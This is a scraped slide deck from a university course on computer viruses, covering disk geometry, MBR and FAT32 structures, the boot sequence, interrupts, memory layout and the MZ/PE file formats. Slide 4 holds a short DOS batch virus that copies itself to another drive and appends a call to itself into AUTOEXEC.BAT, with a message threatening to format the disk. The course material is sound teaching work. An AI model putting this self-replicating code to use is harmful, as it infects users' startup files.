103
1 计计计计计 Computer Virus 计计计 [email protected] 武武武武武武武武武

计算机病毒 Computer Virus

Embed Size (px)

DESCRIPTION

计算机病毒 Computer Virus. 傅建明 [email protected]. 武汉大学计算机学院. 第二章 预备知识. 主要内容:病毒的基本结构,磁盘结构,文件系统,文件格式 讲授:原理介绍与工具演示结合 基础和重点. 第二章 预备知识. 2.1 计算机病毒的结构 2.2 计算机磁盘的管理 2.3 Windows 文件系统 2.4 计算机的引导过程 2.5 中断与异常 2.6 内存管理 2.7 EXE 文件格式. 计算机病毒的结构. ECHO OFF IF%DRIVE%==A:\ GOTO END123 - PowerPoint PPT Presentation

Citation preview

Page 1: 计算机病毒 Computer Virus

1

计算机病毒Computer Virus

傅建明[email protected]

武汉大学计算机学院

Page 2: 计算机病毒 Computer Virus

2

第二章 预备知识主要内容:病毒的基本结构,磁盘结构,文件系统,文件格式讲授:原理介绍与工具演示结合 基础和重点

Page 3: 计算机病毒 Computer Virus

3

第二章 预备知识2.1 计算机病毒的结构2.2 计算机磁盘的管理2.3 Windows 文件系统2.4 计算机的引导过程2.5 中断与异常2.6 内存管理2.7 EXE 文件格式

Page 4: 计算机病毒 Computer Virus

4

计算机病毒的结构1. ECHO OFF2. IF %DRIVE%==A:\  GOTO END1233. IF %DRIVE%==C:\  GOTO END1234. IF %COMSPEC%= =C:\WINDOWS\COMMAND.COM SET DRIVE=A:\5. IF  %COMSPEC%= =A:\COMMAND.COM  SET DRIVE=C:\6. IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END1237. COPY VIRUS.BAT  %DRIVE%>NUL8. ECHO CALL VIRUS>TMP.DAT9. COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT %DRIVE

%AUTOEXEC.BAT >NUL10. DEL  TMP.DAT>NUL11. Echo BAT Virus Test! I will format your Disk!12. : END12313. ECHO ON

Page 5: 计算机病毒 Computer Virus

5

计算机病毒的结构 触发机制: 这部分主要用来控制病毒的传播和发作。 传播机制: 这部分主要负责病毒的感染和传播。 表现机制: 这个模块也称为破坏模块。

Page 6: 计算机病毒 Computer Virus

6

1 磁盘结构

磁头

硬盘基本结构 盘面基本结构

Page 7: 计算机病毒 Computer Virus

7

计算机磁盘的管理硬盘的三个基本参数 -CHS :磁头数( Heads ) 、 柱 面 数 ( Cylinders ) 、 扇 区 数( Sectors )、以及相应的寻址方式。磁头数( Heads ): 8bit ; 0-255柱面数( Cylinders ): 10bit , 0-1023扇区数 (Sectors ): 6bit , 0-63一个硬盘实际最大容量为:255 * 1023 * 63 * 512/1048576 = 8024 MB

Page 8: 计算机病毒 Computer Virus

8

计算机磁盘的管理NORMAL, 普 通 模 式 : 这 是 原 来 的 IDE 硬 盘 工 作 模 式, 支 持 的 最 大 柱 面 数 为 1024 , 最 大 磁 头 数 为 16 , 每 磁 道 最 大 扇 区 数 为 63 , 该 模 式 可 管 理 的 最 大 硬 盘 容 量 为: 1024 ×16 ×63 ×512=504MB

Page 9: 计算机病毒 Computer Virus

9

计算机磁盘的管理LBA ( Logical Block Addressing ) , 逻 辑 块 地 址 模 式 : 在 该 模 式 下 设 置 的 柱 面 数、 磁 头 数 和 每 磁 道 扇 区 数 并 不 是 实 际 的 物 理 参 数, 在 访 问 硬 盘 时, 由 EIDE 控 制 器 把 由 柱 面 数、 磁 头 数 和 每 磁 道 扇 区 数 等 参 数 确 定 的 逻 辑 地 址 转 换 为 实 际 的 物 理 地 址。 支 持 的 最 大 磁 头 数 为 255 , 其 他 参 数 与 普 通 模 式 相 同。 因 此, 该 模 式 可 管 理 的 最 大 硬 盘 容 量 为: 1024 ×255 ×63 ×512= 8024 MB

Page 10: 计算机病毒 Computer Virus

10

计算机磁盘的管理LBA=[(cylinder * heads_per_cylinder + heads)* sectors_per_track] +(sector-1) C=LBA DIV (PH*PS)H=(LBA DIV PS) mod PHS=LBA mod PS

Page 11: 计算机病毒 Computer Virus

11

计算机磁盘的管理ATA-1: C-16bit,H-8bit, S-4bit(28bit)MAX=65536×255×16×512/1024 KB=127.5 GBInt 13: C-10bit, H-8bit, C-6bit(24bit)EX Int 13: 64bit 线性地址BigDrives : CHS 每个参数为 16bit=48bit64T

支持大硬盘:芯片组 , 主板 BIOS, 操作系统。

Page 12: 计算机病毒 Computer Virus

12

计算机磁盘的管理⑶LARGE, 大 模 式 : 当 硬 盘 的 柱 面 数 超 过 1024 而 又 不 为 LBA 所 支 持 时, 可 采 用 该 模 式。 LARGE 模 式 参 数 设 置 方 法 是 把 柱 面 数 除 以 2 , 把 磁 头 数 乘 以 2 , 使 柱 面 减 少 容 量 不 变。 例 如, 硬 盘 物 理 柱 面 数 为 1460 , 磁 头 数 为 16 , 进 入LARGE 模 式 则 变 为 柱 面 数 730 , 磁 头 数 32 , 这 样 在 一 些 软 件 看 来 柱 面 数 小 于 了 1024 。 该 模 式 可 管 理 的 硬 盘 最 大 容 量 为: ---- 1024 ×32 ×63 ×512=1GB

Page 13: 计算机病毒 Computer Virus

13

计算机磁盘的管理主引导扇区( Boot Sector )也就是硬盘的第一个扇区( 0 面 0 磁道 1 扇区),它由主引导记录( Main Boot Record ,MBR ),硬盘主分区表( Disk Partition Table , DPT )和引导扇区标记( Boot Record ID )三部分组成。该扇区在硬盘进行分区时产生,用 FDISK/MBR 可重建标准的主引导记录程序。

Page 14: 计算机病毒 Computer Virus

14

计算机磁盘的管理000H — 08AH :主引导程序,用于寻找活动分区08BH — 0D9H :启动字符串0DAH — 1BCH :保留 1BEH — 1FDH :硬盘主分区表1FEH — 1FFH :结束标记 (55AA)

Page 15: 计算机病毒 Computer Virus

15

生物病毒

图 2.1 主引导扇区的结构

0000

01BD 01BE

01CD 01CE

01DD 01DE

01ED 01EE

01FD 01FE 01FF 55 AA

Master Boot Record 主引导记录(446字节)

分区信息 1 (16字节)

分区信息 2 (16字节)

分区信息 3 (16字节)

分区信息 4 (16字节)

Page 16: 计算机病毒 Computer Virus

16

计算机磁盘的管理33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 1B 7C BF 1B 06 50 57 B9 E5 01 F3 A4 CB BD BE 07 B1 04 38 6E 00 7C 09 75 13 83 C5 10 E2 F4 CD 18 8B F5 83 C6 10 49 74 19 38 2C 74 F6 A0 B5 07 B4 07 8B F0 AC 3C 00 74 FC BB 07 00 B4 0E CD 10 EB F2 88 4E 10 E8 46 00 73 2A FE 46 10 80 7E 04 0B 74 0B 80 7E 04 0C 74 05 A0 B6 07 75 D2 80 46 02 06 83 46 08 06 83 56 0A 00 E8 21 00 73 05 A0 B6 07 EB BC 81 3E FE 7D 55 AA 74 0B 80 7E 10 00 74 C8 A0 B7 07 EB A9 8B FC 1E 57 8B F5 CB BF 05 00 8A 56 00 B4 08 CD 13 72 23 8A C1 24 3F 98 8A DE 8A FC 43 F7 E3 8B D1 86 D6 B1 06 D2 EE 42 F7 E2 39 56 0A 77 23 72 05 39 46 08 73 1C B8 01 02 BB 00 7C 8B 4E 02 8B 56 00 CD 13 73 51 4F 74 4E 32 E4 8A 56 00 CD 13 EB E4 8A 56 00 60 BB AA 55 B4 41 CD 13 72 36 81 FB 55 AA 75 30 F6 C1 01 74 2B 61 60

Page 17: 计算机病毒 Computer Virus

17

6A 00 6A 00 FF 76 0A FF 76 08 6A 00 68 00 7C 6A 01 6A 10 B4 42 8B F4 CD 13 61 61 73 0E 4F 74 0B 32 E4 8A 56 00 CD 13 EB D6 61 F9 C3 49 6E 76 61 6C 69 64 20 70 61 72 74 69 74 69 6F 6E 20 74 61 62 6C 65 00 45 72 72 6F 72 20 6C 6F 61 64 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D 00 4D 69 73 73 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 44 63 AD 1A AE 1A 00 00 80 01 01 00 0B FE FF FB 3F 00 00 00 BD 08 FA 00 00 00 C1 FC 0F FE FF FE FC 08 FA 00 C5 DB 56 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA 第一个主分区:绝对地址( LBA ) =0000003f=63

总扇区数 =00FA08BD=16386237第二个主分区:绝对地址( LBA ) =00FA08fc=16386300 总扇区数 =0856dbc5=139910085

Page 18: 计算机病毒 Computer Virus

18

计算机磁盘的管理

第一个虚拟MBR,start sector=16386300, 其内容如上:分区项 1 第一个逻辑 D, 相对地址( LBA ) =0000003f=63, 总扇区数 =01de7f61=31358817分区项 2 相对地址( LBA ) =01de7fa0=31358880, 总扇区数 =01d4f039=30732345 ( 用 PQ时为 30732282 ,减去了虚拟MBR 的 63 个扇区 )

Page 19: 计算机病毒 Computer Virus

19

计算机磁盘的管理第二虚拟MBR 的位置为 =16386300+31358880=47745180

Page 20: 计算机病毒 Computer Virus

20

Page 21: 计算机病毒 Computer Virus

21

Page 22: 计算机病毒 Computer Virus

22

计算机磁盘的管理硬盘的逻辑分区排列如下:MBR(63)+DBR(32)+FAT1+FAT2+DATADBR=DOS 引导程序 +BPB ( BIOS Parameter Block )

Page 23: 计算机病毒 Computer Virus

23

系统启动过程简介 1.         开机2.         BIOS加电自检( Power On Self Test ,即 POST ),此时电源稳定后, CPU从内存地址 0ffff:0000处开始执行。3.         将硬盘第一个扇区( 0 头 0 道 1 扇区,也就是 Boot Sector )读入内存地址 0000:7c00 处。4.         检查 (WORD ) 0000:7dfe 是否等于 0xaa55 ,若不等于则转去尝试其它启动介质,如果没有其它启动介质则显示“No ROM BASIC”,然后死机。5.         跳转到 0000:7c00 处执行 MBR 中的程序。6.         MBR首先将自己复制到 0000:0600 处,然后继续执行。7.         在主分区表中搜索标志为活动的分区。如果发现没有活动分区或有不止一个活动分区,则显示“ Invalid partition table”并挂起系统。8.         将活动分区的第一个扇区读入内存地址 0000:7c00处。9.    检查 (WORD ) 0000:7dfe 是否等于 0xaa55 ,若不等于则显示“Missing Operating System”然后停止,或尝试软盘启动。10.     跳转到 0000:7c00处继续执行特定系统的启动程序。

Page 24: 计算机病毒 Computer Virus

24

扩展 Int13H 1 .数据类型约定 BYTE 1 字节整型 (8位) WORD 2 字节整型 (16位) DWORD 4 字节整型 (32位) QWORD 8 字节整型 (64位)

Page 25: 计算机病毒 Computer Virus

25

扩展 Int13H磁盘地址数据包 Disk Address Packet (DAP )DAP 是基于绝对扇区地址的,因此利用 DAP , Int13H 可以轻松地逾越 1024 柱面的限制,因为它根本就不需要 C

HS 的概念。DAP 的结构如下:STRUCT DiskAddressPacket{BYTE PacketSize; // 数据包尺寸 (==16字节)BYTE Reserved; // ==0WORD BlockCount; // 要传输的数据块个数 ( 以扇区为单位)DWORD BufferAddr; // 传输缓冲地址 (segment:offset )QWORD BlockNum; // 磁盘起始绝对块地址};

Page 26: 计算机病毒 Computer Virus

26

扩展 Int13Hds:di => 磁盘地址数据包( disk address packet )dl => 驱动器号ah => 功能代码 /返回码1. 检查扩展 Int 13H 是否存在( 41h),2. 扩展读( 42h),3. 扩展写( 43h),4. 校验扇区( 44h),5. 扩展定位( 47h) ,6. 取得驱动器参数( 48h)

Page 27: 计算机病毒 Computer Virus

27

Windows 文件系统 对文件的读写,屏蔽底层操作。主引导记录 ( Master Boot Record , MBR )、磁盘分配表( Partition Table , DPT )、引导记录( Boot Record , DBR )、文件分配表( File Allocation Table , FAT )根目录( Root Directory ) 簇:若干扇区合并为一个簇,其数目必须是 2 的幂方。微软把这些簇称为分配单元( Allocatio

n Unit )

Page 28: 计算机病毒 Computer Virus

28

Page 29: 计算机病毒 Computer Virus

29

FATFAT12,FAT16,FAT32,NTFS,HPFS,VFSFAT 中的一个点表示该簇的状态,是空闲,还是占用。如果该点用 12bit 表示为 FAT12, 用 32bit 表示为 FAT32 。则最大簇空间:FAT12 的最大空间为 =2**12=4KFAT16 的最大空间为 =2**16=64KFAT32 的最大空间为 =2**32=4G

Page 30: 计算机病毒 Computer Virus

30

FAT32DBR+FAT1+FAT2+DATA没有采用固定的 FDT,根目录起始扇区由 BDR指定。FDT :每项 32字节,一簇为 4k ,则最多的目录项 =8*512/32=128 个

Page 31: 计算机病毒 Computer Virus

31

FAT32(1) 0-- 7字节 文件正名。 (2) 8--10字节 文件扩展名。 (3) 11字节 文件属性,按二进制位定义,最高两位保留未用, 0至 5位分别是只读位、隐藏位、系统位、卷标位、子目录位、归档位。 (4) 11--13字节 仅长文件名目录项用,用来存储其对应的短文件名目录项的文件名字节校验和等。 (5) 13--15字节 24位二进制的文件建立时间,其中的高 5位为小时,次 6位为分钟。 (6) 16--17字节 16位二进制的文件建立日期,其中的高 7位为相对于 1980年的年份值,次 4位为月份,后 5位为月内日期。 (7) 18--19字节 16位二进制的文件最新访问日期,定义同 (6) 。(8) 20--21字节 起始簇号的高 16位。(9) 22--23字节 16位二进制的文件最新修改时间,其中的高 5位为小时,次 6位为分钟,后 5位的二倍为秒数。 (10)24--25字节 16位二进制的文件最新修改日期,定义同 (6) 。(11)26--27字节 起始簇号的低 16位。 (12)28--31字节 32位的文件字节长度。   

Page 32: 计算机病毒 Computer Virus

32

FAT32其中第 (4)至 (8)项为以后陆续定义的。 对于子目录项,其 (12) 为零;已删除目录项的首字节值为 E5H 。在可以使用长文件名的 FAT32 系统中,文件目录项保存该文件的短文件名,长文件名用若干个长文件名目录项保存,长文件名目录项倒序排在文件短目录项前面,全部是采用双字节内码保存的,每一项最多保存十三个字符内码,首字节指明是长文件名的第几项 ,11字节一般为 0FH ,12字节指明类型, 13字节为校验和, 26--27字节 为 零 。

Page 33: 计算机病毒 Computer Virus

33

Page 34: 计算机病毒 Computer Virus

34

簇号为 3 的数据 =目录区

Page 35: 计算机病毒 Computer Virus

35

长文件名 -SECURITY-ZHANG.LOG

每一项最多保存 13 个字符内码:首字节为长文件名的第几项, 0B=0F,0C指名类型, 0D为校验码, 1A-1B 为 0 。 32-6=26=13*2

起始簇 =1573903

Page 36: 计算机病毒 Computer Virus

36

SECURITY-ZHANG.LOG 的簇链

起始簇 =1573903->189160|x->189161|x->189162|x->189163|x-> 189164

Page 37: 计算机病毒 Computer Virus

37

计算机的引导过程 1.电源就开始向主板和其它设备供电 , CPU马上从地址 FFFF0H处开始执行指令 , 该指令是一条跳转指令,该指令跳到系统 BIOS中真正的启动代码处。2. 系统 BIOS 的启动代码首先要做的事情就是进行 POST ( Power On Self Test ,加电自检), POST 的主要任务是检测系统中的一些关键设备(如内存和显卡等)是否存在和能否正常工作。

Page 38: 计算机病毒 Computer Virus

38

计算机的引导过程3. 系统 BIOS将查找显示卡的 BIOS,查找完所有其它设备的 BIOS, 系统 BIOS将检测 CPU的类型和工作频率 ,测试主机所有的内存容量4. 系统 BIOS将开始检测系统中安装的一些标准硬件设备,这些设备包括:硬盘、 CD- ROM 、软驱、串行接口和并行接口等连接的设备5. 系统 BIOS 内部的支持即插即用的代码将开始检测和配置系统中安装的即插即用设备 .6. 系统 BIOS将更新 ESCD ( Extended System Configuration Data ,扩展系统配置数据)。 ESCD是系统 BIOS 用来与操作系统交换硬件配置信息的数据

Page 39: 计算机病毒 Computer Virus

39

计算机的引导过程7. 系统 BIOS 的启动代码将进行它的最后一项工作,即根据用户指定的启动顺序从软盘、硬盘或光驱启动。以从 C 盘启动为例,系统BIOS将读取并执行硬盘上的主引导记录,主引导记录接着从分区表中找到第一个活动分区,然后读取并执行这个活动分区的分区引导记录,而分区引导记录将负责读取并执行 IO.SYS ,这是 DOS 和 Windows 9x最基本的系统文件。

Page 40: 计算机病毒 Computer Virus

40

MBR 512将自身( 字节)转0000 0600H移到内存 :

0000: 061DH跳转到 (即转移指令的下一条指令)继

续执行

SI指向分区表入口的第一个字节(也即第一个分区入口)

4设置需要检查的分区个数为

该分区是否为活80动分区(标志 )?

SI指向下一个分区入口-1需要检查的分区个数

需要检查的分0区个数为 吗?

跳到ROM BASI C(I NT 18H)

保存分区入口地址保存分区引导扇区地址(磁头号、驱动器号、磁道号、扇区号)

SI指向下一个分区入口,-1要检查的分区个数

需要检查的分0区个数为 吗?

该分区是否为非活动分区

00(标志 )?

Y

N

该分区是否为非活动分区

00(标志 )?

Y

Y

SI显示 指向的错误提示信息并挂起

Y

SI设置 指向错误提示信息“ I nval i d part i t i on tabl e”

N

N

设置尝试5次数为 次

读启动扇区到0000: 7C00H处

是否成功将启动扇区读入?

硬盘复位1尝试次数减

尝试次数0?是否为

SI “ Error设置 指向错误提示信息l oadi ng operati on system”

N

Y

SI设置 指向错误提示信息“ Mi ssi ng operati on system”

比较分区结束标55AA志是否为 ?

0000 7C00H跳转到 : 处开始执行启动程序

Y

Y

N

NY

N

Page 41: 计算机病毒 Computer Virus

41

中断与异常

,Abort ,Trap ,Fault

INTRNMI

中止陷阱故障

异常

,可屏蔽中断,不可屏蔽中断

中断

Page 42: 计算机病毒 Computer Virus

42

中断与异常80386 把外部中断称为“中断” , 把内部中断称为“异常” 通常在两条指令之间响应中断或异常。 80386 最多处理 256种中断或异常。 对 80386 而言,中断是由异步的外部事件引起的,中断用于指示 I/O 设备的一次操作已完成。

Page 43: 计算机病毒 Computer Virus

43

中断与异常80386有两根引脚 INTR和 NMI接受外部 ( 硬件 )中断请求信号。 INTR接受可屏蔽中断请求。NMI接受不可屏蔽中断请求。在 80386中,不可屏蔽中断所对应的中断向量号固定为 2。异常是 80386在执行指令期间检测到不正常的或非法的条件所引起的。如执行除法指令时,除数等于 0;执行指令时发现特权级不正确。当发生这些情况时,指令就不能成功完成。软中断指

“令 INT n” “和 INTO”也归类于异常。

Page 44: 计算机病毒 Computer Virus

44

中断与异常故障是在引起异常的指令之前,把异常情况通知给系统的一种异常。 80386认为故障是可排除的。当控制转移到故障处理程序时,所保存的断点 CS 及 EIP 的值指向引起故障的指令。 陷阱是在引起异常的指令之后,把异常情况通知给系统的一种异常。当控制转移到异常处理程序时,所保存的断点 CS 及 EIP 的值指向引起陷阱的指令的下一条要执行的指令。 中止是在系统出现严重情况时,通知系统的一种异常。引起中止的指令是无法确定的。产生中止时,正执行的程序不能被恢复执行。

Page 45: 计算机病毒 Computer Virus

45

中断优先权 中断优先权由高到低的顺序是1.         调试故障。2.         其它故障。3.     除法错, INTO(溢出中断 ) , INT n( 软件中断 ) 。4.         NMI (不可屏蔽中断)。5.         INTR (可屏蔽中断)。6.         单步中断。

Page 46: 计算机病毒 Computer Virus

46

中断向量表 该表用来存放各种中断程序的入口地址,每一中断向量的入口地址占有 4 个字节,高两字节存放中断向量的段地址,低两字节存放中断向量的偏移地址。整个中断向量表中可以存放 256 个中断向量地址,编号从 00到 255 。

Page 47: 计算机病毒 Computer Virus

47

中断向量表

中断号 说明 中断号 说明

8088 中断向量 0H 除以零1H 单步(用于 DEBUG ) 2H 非屏蔽中断 3H 断点指令(用于 DEBUG ) 4H 溢出 5H 打印屏幕 6H 保留 7H 保留 8259中断向量 8H 定时器 9H 键盘 AH 彩色 /图形 BH 异步通讯( secondary ) CH 异步通讯( primary ) DH 硬磁盘 EH 软磁盘 FH 并行打印机 BIOS 中断 10H 屏幕显示 11H 设备检验 12H 测定存储器容量 13H 磁盘 I/O 14H 串行通讯口 I/O 15H 盒式磁带 I/O 16H 键盘输入 17H 打印机输出 18H BASIC 入口代码 19H 引导装入程序1AH 日期时钟

提供给用户的中断 1BH Ctrl-Break 控制的软中断 1CH 定时器控制器的软中断 数据表指针 1DH 显示器参量表 1EH 软盘参量表 1FH 图形表 DOS 中断20H 程序结束 21H 系统功能调用 22H 结束退出 23H Ctrl-Break退出 24H 严重错误处理 25H 绝对磁盘读功能 26H 绝对磁盘写功能 27H 驻留退出 28H-2EH DOS保留 2FH 打印机 30H-3FH DOS保留 BASIC 中断40H-5FH 保留 60H-67H 用户软中断 68H-7FH 保留 80H-85H 由 BASIC保留 86H-F0H BASIC 中断F1H-FFH 保留

Page 48: 计算机病毒 Computer Virus

48

中断处理过程 1.  把状态标志进栈保护。2.  0—〉 IF(清除标志 IF ,禁止跟踪 ) , 0 一〉 TF(清除标志 TF ,禁止中断 ) 。3.  根据中断类型号计算中断向量入口地址在向量表中的位移,计算的方法是: 位移=中断类型号×44.  保护断点,把当前代码段寄存器的内容进栈保护,将中断向量的段地址送 CS ;把当前指令指针入栈保护,将中断向量的偏移地址送 IP ;于是,程序就转到了中断服务程序。进入中断服务程序之后,一般要保护现场 (寄存器压栈 ) ,然后进行中断服务,在中断返回前要恢复现场 (寄存器弹栈 ) ,最后用 STI开中断,并用 IRET恢复断点处的标志寄存器、 CS 和 IP的值。

Page 49: 计算机病毒 Computer Virus

49

DOS内存管理

图 2.4 DOS内存分配状态

ROM BIOS

设备(显示器、硬盘等)保留区

COMMAND.COM暂驻部分

应用程序区

COMMAND.COM常驻部分

DOS核心模块MSDOS的常驻部分

DOS BIOS模块 IO.SYS的常驻模块

DOS通信区

用户通信区

BIOS通信区

中断向量表

FFFFFH

F000:0H

A000:0H

0070:0H

0050:0H

0040:0H

0000:0H

0040:0F0H

1MB

640KB DOS内核使用的数据结构和可安装设备驱动程序

Page 50: 计算机病毒 Computer Virus

50

DOS内存管理DOS在基本内存 (640K)运行时的内存分配状态。在计算机通常的工作方式 ( 实方式 )下,总体上来说, DOS可以管理的内存空间为 lMB ( =2**20 )。此 1MB空间可分为两大部分,一部分是 RAM区,另一部分则是 ROM区。而 RAM区又分为系统程序、数据区和用户程序区两部分。

Page 51: 计算机病毒 Computer Virus

51

Window 9x/NT 内存布局 Win32 的平坦内存模式使每个进程有 4GB的内存空间,程序的代码和数据都放在同一地址空间中,即不必区分代码段和数据段。程序员当然也不需要了解段寄存器 CS 、 DS 、 ES 的具体内容。

Page 52: 计算机病毒 Computer Virus

52

图 2.5 Windows 9x进程的地址空间

VXD、内存管理器、文件系统码 可读写 (1GB)

MS-DOS和 16位Windows 可读写

(4096KB)

捕捉 NULL指针用 不可读写 (4KB)

进程私有空间 4MB~2GB

内存映射文件、WIN32 DLL、WIN16应用程序、内存分配

可读写 (1GB)

FFFFFFFFH

C0000000H BFFFFFFFH

80000000H

7FFFFFFFH

00400000H

003FFFFFH

00001000H

00000FFFH

00000000H

Page 53: 计算机病毒 Computer Virus

53

图 2.6 Windows NT进程的地址空间

FFFFFFFFH

80000000H

7FFFFFFFH

7FFF0000H

7FFFEFFFH

00010000H 0000FFFFH

00000000H

操作系统使用 不可读写 (2GB)

用于防止跨用户/系统边界传输数据 不可读写 (64KB)

进程私有空间 128KB~2GB

用户捕捉 NULL指针 不可读写 (64KB)

Page 54: 计算机病毒 Computer Virus

54

操纵内存 Win32 的内存 API 可以分为三类:虚拟内存管理、堆管理、内存映射文件管理。1)虚拟内存管理则较适应于程序要使用大块内存的情况。2)堆管理适应于程序要经常分配小块内存的情况3 )内存映射文件则为大文件的操作提供方面,并提供进程间通讯的方法

Page 55: 计算机病毒 Computer Virus

55

虚拟内存 1)  分配 /保留虚拟内存VirtualAlloc ( lpMem,Size,Type,Access ) 2)  释放虚拟内存VirtualFree ( lpMEM,Size,Type )3)  改变页保护属性VirtualProtect ( lpMem,size,Acess,lpOldAcess ) 4)  内存锁定: VirtualLock ( lpMem,Size )5)  内存解锁: VirtualUnlock ( lpMem,Size )

Page 56: 计算机病毒 Computer Virus

56

堆管理 1 )  使用缺省堆Win32 进程都有一个缺省堆。其默认大小为 1MB ,可以在编译时改变这个缺省值。 GetProcessHeap函数 2 )  创建新堆HeapCreate(flOption,dWINitalSize,cbMaximumSize) 3 )  分配堆内存HeapAlloc(hHeap,dwFlags,dwBytes) 4 )  重分配堆内存HeapReAlloc(hHeap,dwFlags,LpMem,dwBytes) 5 )  释放堆内存HeapFree ( hHeap,dwFlags,lpMem )

Page 57: 计算机病毒 Computer Virus

57

EXE-MZ偏移  大小(字节)  描述00 2 EXE 文件类型标记: 4d5ah/MZ02 2 文件的最后一个扇区的字节数04 2 文件的总扇区数文件大小 = (总扇区数 -1 ) *512+最后一个扇区的字节数06 2 重定位项的个数08 2 EXE 文件头的大小( 16 bytes*this value )0a 2 最小分配数( 16 bytes*this value )0c 2 最大分配数( 16 bytes*this value )0e 2 堆栈初始段址( SS )10 2 堆栈初始指针( SP )12 2 补码校验和14 2 初始代码段指针( IP )16 2 初始代码段段址( CS )18 2 定位表的偏移地址1a 2 覆盖号 The overlay number make by link

Page 58: 计算机病毒 Computer Virus

58

Page 59: 计算机病毒 Computer Virus

59

MZ文件加载首先,它计算程序映像文件的大小加上 PSP 的大小再加上 EXEHEADER 结构中的 exMinAlloc域说明的内存大小之和,如果总和超过最大可用内存块的大小,则 MS-DOS停止加载程序并返回一个出错码。否则,它计算程序映像的大小加上 PSP的大小再加上 EXEHEADER 结构中的 exMaxAlloc域说明的大小之和,如果第二个总和小于最大可用内存块的大小,则 MS-DOS 分配计算得到的内存量。否则,它分配最大可用内存块。分配完内存后, MS-DOS 确定起始段地址, MS-DOS从此处加载程序映像。

Page 60: 计算机病毒 Computer Virus

60

Page 61: 计算机病毒 Computer Virus

61

NE 文件格式 NE 是 New Excutable 的缩写,它是 16位Windows 可执行文件的标准格式,这种格式基本上已经没有用了,这里仅供参考。

Page 62: 计算机病毒 Computer Virus

62

PE 格式PE 文件格式被组织为一个线性的数据流,使用平面地址空间,所有代码和数据都合并在一起,,组成一个很大的结构。文件内容被分割为不同的区块( section, 区段 /节),块中包含代码或数据,各个块按页的边界对齐,块没有大小限制,是一个连续结构。每个块都有自己在内存中的一套属性,如是否含代码、只读、读写。

Page 63: 计算机病毒 Computer Virus

63

This program cannot be run in DOS mode.

Section headers

sections

Page 64: 计算机病毒 Computer Virus

64

PE 的名词1 、入口点( entry point ) , 程序执行的第一行代码2 、文件偏移地址( File offset )Pe 文件存储在磁盘上,各数据段的地址称为文件偏移地址或物理地址( raw offset )。文件偏移地址从 PE文件的第一个字节开始计数,起始值为 0 。3 、虚拟地址( Virtual Address , VA )386保护模式下,程序访问存储器所使用的逻辑地址称为虚拟地址( VA ),也称内存偏移地址( memory offset )。4 、基地址( Image base )文件执行时将被映射到指定的内存地址,这个初始内存地址称为基地址,该值由 pe 文件本身决定。默认, EXE : 0x00400000, DLL:0x1000000 。用链接程序的 /BASE选项改变该值。

Page 65: 计算机病毒 Computer Virus

65

PE 的名词5 、相对虚拟地址( Relative Virtual Address , RVA )是指内存中相对于 pe 文件装入地址(基地址)的偏移量。RVA=VA - imagebase6 、文件偏移地址与虚拟地址转换文件区块的对齐有两种:一种是磁盘文件中的对齐,另一种是内存中的对齐。区块是按页对齐的,区块总是至少以一个页边界为开始。即每一个区块的第一个字节对应于某个页的开始。在 x86 系统中,内存页的大小为 4k ,即 0x1000, 区块以 4k 的倍数对齐。磁盘对齐值一般为 0x200, 区块以 512 的倍数对齐 . 当区块的大小不是页的整数倍时,其不足部分用 0x00填充。如果两种对齐值相同,加快加载。

Page 66: 计算机病毒 Computer Virus

66

文件偏移地址与虚拟地址

Page 67: 计算机病毒 Computer Virus

67

Page 68: 计算机病毒 Computer Virus

68

MS-DOS MZ headerMS-DOS 头部占据了 PE 文件的头 64 个字节 .4*16=64.USHORT e_magic; // 魔术数字 =MZLONG e_lfanew; //e_lfanew 成员用于定位 PE 头。从注释中理解, e_lfanew 是 File pointer ,非 RVA.

Page 69: 计算机病毒 Computer Virus

69

typedef struct _IMAGE_DOS_HEADER { // DOS 的 .EXE 头部  USHORT e_magic; // 魔术数字  USHORT e_cblp; // 文件最后页的字节数  USHORT e_cp; // 文件页数  USHORT e_crlc; // 重定义元素个数  USHORT e_cparhdr; // 头部尺寸,以段落为单位  USHORT e_minalloc; // 所需的最小附加段  USHORT e_maxalloc; // 所需的最大附加段  USHORT e_ss; // 初始的 SS值(相对偏移量)  USHORT e_sp; // 初始的 SP值  USHORT e_csum; // 校验和  USHORT e_ip; // 初始的 IP值  USHORT e_cs; // 初始的 CS值(相对偏移量)  USHORT e_lfarlc; // 重分配表文件地址  USHORT e_ovno; // 覆盖号  USHORT e_res[4]; // 保留字  USHORT e_oemid; // OEM 标识符(相对 e_oeminfo )  USHORT e_oeminfo; // OEM信息  USHORT e_res2[10]; // 保留字  LONG e_lfanew; // 新 exe 头部的文件地址  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Page 70: 计算机病毒 Computer Virus

70

Page 71: 计算机病毒 Computer Virus

71

NT 映像头 NT映像头的结构定义如下 : IMAGE_NT_HEADERS STRUCT Signature dd ? //PEFileHeader IMAGE_FILE_HEADER <>

OptionalHeader IMAGE_OPTIONAL_HEADER32 <> IMAGE_NT_HEADERS ENDS

Page 72: 计算机病毒 Computer Virus

72

IMAGE FILE HEADERtypedef struct _IMAGE_FILE_HEADER {USHORT Machine;USHORT NumberOfSections;ULONG TimeDateStamp;ULONG PointerToSymbolTable;ULONG NumberOfSymbols;USHORT SizeOfOptionalHeader;USHORT Characteristics;} IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER; #define IMAGE_SIZEOF_FILE_HEADER 20

Page 73: 计算机病毒 Computer Virus

73

Page 74: 计算机病毒 Computer Virus

74

